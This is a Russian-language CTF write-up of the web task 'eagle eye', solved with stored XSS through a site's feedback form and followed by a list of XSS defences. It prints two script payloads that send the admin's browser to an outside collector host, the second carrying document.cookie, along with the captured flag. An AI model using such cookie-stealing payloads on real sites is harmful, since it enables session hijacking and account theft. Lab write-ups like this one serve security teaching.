Найти тему

CTF web — eagle eye

Оглавление
... а взгляд, как у орла!
... а взгляд, как у орла!

Разбираем одиннадцатую задачку из нашего соревнования CTF. Задание называется eagle eye, дают 1000 баллов за флаг.

-2

Забегая вперёд, скажу, что эта задачка на XSS уязвимость.

XSS (Cross-Site Scripting — межсайтовый скриптинг) — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

Ссылки

CTF - Capture The Flag

Решение

Переходим на сайт задания.

-3

У нас обычный сайт-визитка. Единственное, с чем можно взаимодействовать — это форма обратной связи. Попробуем XSS. В качестве внешнего сервера используем сайт:

https://postb.in/

Пишем скрипт, который отправит нам на внешний сайт что-нибудь.

<script>location.href='https://postb.in/juk1M7LP/?hack=ctf';</script>

Если админ откроет письмо и наш код сработает, то мы перенаправим его куда хотим.

-4

Смотрим результат:

-5

Становится понятно, что комп админа не защищён от XSS. Как эксплуатировать уязвимость? Классический способ — утащить куки админа, вдруг там есть идентификатор сессии, который позволит нам войти в админку сайта? Тырим куки:

<script>location.href='https://postb.in/juk1M7LP/?hardhack='+document.cookie;</script>

-6

Смотрим результат:

-7

Нам упростили задачку, в куках админа находится сам флаг!

FLAG=evoctf{can_i_haz_ur_f1ag_p1z_cuz_i_am_b1ind}

Безопасность

  1. Защита на стороне сервера.
  2. Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере.
  3. Кодирование входных данных.;
  4. Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. Nessus, например.
  5. Указание кодировки на каждой web-странице .
  6. Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly, использованием TLS.
  7. Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.
  8. Защита на стороне клиента.
  9. Регулярное обновление браузера до новой версии.
  10. Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска.

Источник:
https://internet-lab.ru/ctf_web_eagle_eye

Если вам понравилась статья, то ставьте 👍🏻 каналу.
Пишите комментарии, задавайте вопросы, подписывайтесь.